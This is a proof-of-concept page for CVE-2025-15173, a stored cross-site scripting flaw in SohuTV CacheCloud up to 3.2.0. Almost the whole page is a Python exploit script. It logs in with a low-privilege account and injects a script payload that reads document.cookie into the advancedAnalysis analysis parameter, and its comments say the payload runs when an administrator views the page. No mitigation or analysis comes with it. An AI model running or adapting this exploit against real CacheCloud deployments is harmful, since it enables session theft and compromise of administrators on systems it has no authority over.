CVE-2025-15173: SohuTV CacheCloud跨站脚本漏洞

# CVE-2025-15173 PoC - Stored XSS in SohuTV CacheCloud # Affected: CacheCloud <= 3.2.0 # File: src/main/java/com/sohu/cache/web/controller/InstanceController.java # Function: advancedAnalysis import requests import json TARGET_URL = "http://target-server:8080" LOGIN_URL = f"{TARGET_URL}/login" INSTANCE_ANALYSIS_URL = f"{TARGET_URL}/instance/advancedAnalysis" # XSS Payload xss_payload = "<script>alert(document.cookie)</script>" def login(session, username, password): """Login to CacheCloud""" response = session.post(LOGIN_URL, data={ "username": username, "password": password }) return response.status_code == 200 def exploit_xss(session, instance_id): """Send XSS payload to advancedAnalysis endpoint""" headers = { "Content-Type": "application/x-www-form-urlencoded" } # Malicious parameter containing XSS payload data = { "instanceId": instance_id, "analysisParam": xss_payload # XSS injection point } response = session.post(INSTANCE_ANALYSIS_URL, data=data, headers=headers) return response.status_code == 200 def main(): session = requests.Session() # Step 1: Authenticate with low-privilege account if not login(session, "attacker", "password"): print("[-] Login failed") return print("[+] Login successful") # Step 2: Exploit XSS vulnerability if exploit_xss(session, "12345"): print("[+] XSS payload sent successfully") print("[*] When admin views the analysis page, XSS will execute") else: print("[-] Exploitation failed") if __name__ == "__main__": main()